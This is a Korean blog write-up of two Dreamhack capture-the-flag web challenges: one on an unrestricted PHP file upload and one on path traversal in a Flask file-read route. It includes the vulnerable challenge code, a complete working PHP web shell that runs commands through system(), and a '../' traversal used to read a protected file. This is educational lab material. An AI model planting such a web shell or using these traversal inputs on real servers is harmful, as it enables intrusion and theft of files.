본문 바로가기

KERT/WarGame

[dreamhack] 파일 취약점 (image-storage, file-download-1)

첫 번째 문제: image-storage

https://dreamhack.io/wargame/challenges/38

 

image-storage

php로 작성된 파일 저장 서비스입니다. 파일 업로드 취약점을 이용해 플래그를 획득하세요. 플래그는 /flag.txt에 있습니다. Reference Server-side Basic

dreamhack.io

파일 업로드 취약점과 관련한 문제이다.

플래그는 /flag.txt에 있다.

index 페이지

index.php

<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Image Storage</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/list.php">List</a></li>
            <li><a href="/upload.php">Upload</a></li>
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/>
    <div class="container">
    	<h2>Upload and Share Image !</h2>
    </div> 
</body>
</html>

Home 을 누르면 인덱스 페이지가 뜨고

List 를 누르면 리스트 페이지가 뜨고

Upload 를 누르면 업로드 페이지가 뜬다는 코드이다

 

그 외에 별 다른 코드는 없어 보인다.

list.php

<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Image Storage</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/list.php">List</a></li>
            <li><a href="/upload.php">Upload</a></li>
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container"><ul>
    <?php
        $directory = './uploads/';
        $scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
        foreach ($scanned_directory as $key => $value) {
            echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
        }
    ?> 
    </ul></div> 
</body>
</html>

list.php 는 $directory 의 파일들 중 . , .. , index.html 을 제외하고 나열한다.

Upload.php

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Image Storage</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/list.php">List</a></li>
            <li><a href="/upload.php">Upload</a></li>
          </ul>
        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container">
      <form enctype='multipart/form-data' method="POST">
        <div class="form-group">
          <label for="InputFile">파일 업로드</label>
          <input type="file" id="InputFile" name="file">
        </div>
        <input type="submit" class="btn btn-default" value="Upload">
      </form>
    </div> 
</body>
</html>
  • upload.php는 이용자가 업로드한 파일을 uploads폴더에 복사한다.
  • 이용자는 http://host1.dreamhack.games:[PORT]/uploads/[FILENAME] URL을 통해 접근할 수 있다.
  • 만약 같은 이름의 파일이 이미 있다면 "already exists"라는 메시지를 반환한다.

업로드할 파일에 대해 검사하지 않으므로, 웹 셸 업로드 공격에 취약하다.

웹 셸

업로드 취약점을 통하여 시스템에 명령을 내릴 수 있는 코드를 말한다.
웹 셸은 간단한 서버 스크립트 (jsp, php, asp...) 로 만드는 방법이 널리 사용되며 이 스크립트들은 웹 서버의 취약점을 통해 업로드된다.
 

업로드 페이지

파일을 업로드하는곳이다

uploads라는 디렉터리에 저장된다.

 

같은 파일을 또 업로드하면 이런 식으로 뜬다

리스트 페이지

파일을 업로드하고 나서 List 페이지로 가면 이렇게 업로드된 파일들이 뜬다.

 

파일명.txt 를 누르면 파일내용이 뜬다. 한글로 썼더니 내용이 깨진다.

 

만약 여기에 웹 셸을 업로드하고 방문하면, cat 명령어를 실행하여 flag.txt 의 내용을 획득할 수 있을 것이다.

 

그런데 일단 웹 셸 코드를 짜는 법을 모르기 때문에

Excercise 에 있는 php 로 작성된 웹셸 코드를 가져다가 공부했다. (ChatGPT 의 힘을 빌려서)

<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?></pre></body></html>

 

 

  1. <form> 태그: 사용자로부터 입력을 받기 위한 HTML 폼 요소입니다. method 속성이 "GET"으로 설정되어 있어서 입력 데이터가 URL 파라미터로 전달됩니다.
  2. <input> 태그: 입력 필드를 생성합니다. 여기서 type 속성이 "TEXT"로 설정되어 텍스트 입력이 가능한 상자가 생성됩니다. name 속성은 이 필드의 이름을 정의하며, id 속성은 HTML 요소의 고유 식별자로 사용됩니다. size 속성은 필드의 표시 너비를 설정합니다.
  3. <input> 태그 (두 번째): type 속성이 "SUBMIT"으로 설정되어 실행 버튼을 생성합니다.
  4. <form> 태그 내의 PHP 코드: name 속성에 현재 스크립트 파일의 이름을 설정합니다.
  5. <pre> 태그: 이 태그 내부에 있는 텍스트는 고정된 너비 폰트로 표시되며, 여기서는 시스템 명령의 실행 결과가 표시됩니다.
  6. PHP 코드 블록: $_GET['cmd']로 전달된 GET 파라미터가 존재하는지 확인하고, 있다면 해당 명령을 system() 함수를 사용하여 실행합니다. system() 함수는 운영 체제의 셸 명령을 실행하고 결과를 반환합니다. 이 부분이 웹 셸의 핵심이며, 사용자가 입력한 명령을 그대로 실행하므로 보안 취약점이 될 수 있습니다.

system함수를 통해 만든 단순한 웹셸 코드인 것 같다.

 

즉, 저 코드에서 제일 중요한 부분만 추리자면

<?php
	system($_GET['cmd']);
?>

인 것이다. 여기서 'cmd'는 내가 입력창에 친 텍스트이자 system 함수에 파라미터로 보내지는 명령어가 될 것이다.

그리고 $_GET['cmd']를 통해 이 입력을 받아와서 system() 함수를 사용하여 해당 명령을 실행한다.

 

더 찾아보니까 웹 셸을 만드는 다양한 함수가 많이 있다.

 

https://kk-7790.tistory.com/78

 

PHP로 제작한 웹쉘 : 사용한 윈도우 실행기

PHP로 제작한 웹쉘이다. 해당 웹쉘을 제작하기 위해 참고한 사이트는 아래와 같다. yangil06.tistory.com/entry/%EC%9B%B9%EC%89%98-%EC%82%AC%EC%9A%A9-%ED%95%A8%EC%88%98-%EB%AA%A8%EC%9D%8C

kk-7790.tistory.com

이 분을 보면, passthru 라는 함수를 사용해서 웹에서 원격으로 cmd 를 실행해버리는 셸을 만들었다.

 

 

이처럼 cmd 창과 똑같이 웹에서 명령어를 실행할 수 있다.

세상에 능력자는 많다...

 

지금 웹을 만드는 프로젝트를 하고 있었는데 이걸 보니까 파일 업로드 취약점에 대해 주의해야겠다는 생각이 들었다.

 

만약 내 컴퓨터에 사용자가 업로드한 파일을 저장하는 식으로 데이터베이스를 운영한다면

이 웹셸을 누가 업로드했을 때, 내 파일 디렉터리에 접근할 수 있게 되는 끔찍한 일이 생길 거 같다.

해봤자 내 컴터에 있는 족보 훔쳐가기 이정도의 일밖에 벌어지지 않는다해도...

 

지금 내가 하고 있는 프로젝트 상에서는 jpg 같은 정적 데이터만 올릴 수 있도록 만들고 있지만,

나중에 다른 프로젝트에서 더 다양한 확장자의 파일을 업로드할 수 있는 서비스를 만들어야 한다면, 서버의 보안을 좀더 신경써야 할 것이다.

 

php로 작성한 웹셸을 업로드하고 list 페이지에서 누르면 (혹은 URL 에 uploads/파일명을 치거나) 우리가 만든 웹셸이 뜬다.

 

이곳에 명령어를 입력하면 URL 의 파라미터가 되어 서버로 전송된다.

(GET 메서드를 사용하기 때문에 가능하다)

더보기
GET 메서드를 사용했기 때문에 가능하다
GET 메서드를 사용했기 때문에 URL 의 파라미터로 전송될 수 있다(는 것을 몰라서 gpt 한테 물어봄)
<form method="GET" action="process.php">
    <input type="text" name="username">
    <input type="password" name="password">
    <input type="submit" value="Submit">
</form>

 

http://example.com/process.php?username=입력한_사용자명&password=입력한_패스워드 

 

위 URL의 파라미터 부분(?username=...&password=...)에 사용자가 입력한 정보가 포함됩니다. 서버는 이 정보를 PHP의 $_GET 슈퍼전역 변수를 통해 접근할 수 있습니다.

 

따라서 코드 예제에서의 <input type="TEXT" name="cmd"> 필드는 사용자가 입력한 명령을 cmd라는 파라미터 이름으로 전달하게 됩니다. PHP 코드에서 $_GET['cmd']를 통해 이 입력을 받아와서 system() 함수를 사용하여 해당 명령을 실행합니다. 이는 보안상 매우 위험한 동작입니다. 사용자가 악의적인 명령을 실행하거나 시스템에 피해를 줄 수 있기 때문에 주의해야 합니다.

cat 명령어로 flag 를 획득한다.

 

URL 을 보면 cmd라는 파라미터가 System함수에 제대로 전송되어 명령어 실행 결과를 보이는 걸 알 수 있다.

 

두 번째 문제: file-download-1

https://dreamhack.io/wargame/challenges/37

 

file-download-1

File Download 취약점이 존재하는 웹 서비스입니다. flag.py를 다운로드 받으면 플래그를 획득할 수 있습니다. Reference Introduction of Webhacking

dreamhack.io

파일 다운로드 취약점과 관련한 문제

flag.py를 다운로드 받으면 플래그를 획득할 수 있다.

 

파일 다운로드 취약점 ?

이용자가 다운로드할 파일의 이름을 임의로 정할 수 있을 때 발생한다.

웹 서비스는 이용자가 특정 디렉터리에 있는 파일만 접근하도록 해야 한다.
그렇지 않으면, Path Traversal 을 이용해서(../../ 이런 식으로) 디렉터리에 마음대로 접근할 수 있게 되는 취약점이 생김

인덱스 페이지

업로드 페이지

문제 파일

requirements.txt 에는 flask 라고 덩그러니 적혀있다.

static 이나 templates 파일에는 페이지를 구성하는 리소스들이 있다. 문제 푸는데 신경쓰지 않아도 된다.

 

app.py

#!/usr/bin/env python3
import os
import shutil

from flask import Flask, request, render_template, redirect

from flag import FLAG

APP = Flask(__name__)

UPLOAD_DIR = 'uploads'


@APP.route('/')
def index():
    files = os.listdir(UPLOAD_DIR)
    return render_template('index.html', files=files)


@APP.route('/upload', methods=['GET', 'POST'])
def upload_memo():
    if request.method == 'POST':
        filename = request.form.get('filename')
        content = request.form.get('content').encode('utf-8')

        if filename.find('..') != -1:
            return render_template('upload_result.html', data='bad characters,,')

        with open(f'{UPLOAD_DIR}/{filename}', 'wb') as f:
            f.write(content)

        return redirect('/')

    return render_template('upload.html')


@APP.route('/read')
def read_memo():
    error = False
    data = b''

    filename = request.args.get('name', '')

    try:
        with open(f'{UPLOAD_DIR}/{filename}', 'rb') as f:
            data = f.read()
    except (IsADirectoryError, FileNotFoundError):
        error = True


    return render_template('read.html',
                           filename=filename,
                           content=data.decode('utf-8'),
                           error=error)


if __name__ == '__main__':
    if os.path.exists(UPLOAD_DIR):
        shutil.rmtree(UPLOAD_DIR)

    os.mkdir(UPLOAD_DIR)

    APP.run(host='0.0.0.0', port=8000)

 

업로드 페이지에서 아무거나 업로드해보자

 

이제 여길 들어가면 다운받을 수 있는 버튼이 나오겠지

 

헐 안나오네

그럼 어떻게 flag.py 를 다운로드 하라는 걸까??

 

 

URL 을 자세히 보면 read?name=test_memo 로 파일명이 name 파라미터로 들어가고 있다.

 

URL 에 냅다 read?name=flag.py 를 해보았다.

 

아 킹받아

app.py 코드를 보면 이런 부분이 있다.

UPLOAD_DIR = 'uploads'

 

내가 업로드하는 메모는 uploads 디렉터리에 저장되지만

flag.py 는 다른 디렉터리에 있기 때문에 Home 에 뜨지 않는 것이다.

 

아하 그러면 다른 디렉터리에 접근해서 flag.py를 read 페이지에서 읽을 수 있다.

그럼 이제 그 디렉터리가 어디냐는 것인데... 

 

일단은 ../ 를 통해 한 번만 거슬러 올라가보자

오잉 이게 되네

 

'KERT > WarGame' 카테고리의 다른 글

[dreamhack] Mango 문제 풀이  (0) 2023.07.27
[dreamhack] simple_sqli 문제 풀이  (0) 2023.07.26
[dreamhack] Exercise: SQL Injection  (0) 2023.07.21
[dreamhack] Exercise: CSRF  (0) 2023.07.17
[dreamHack] xss-1, xss-2  (0) 2023.07.17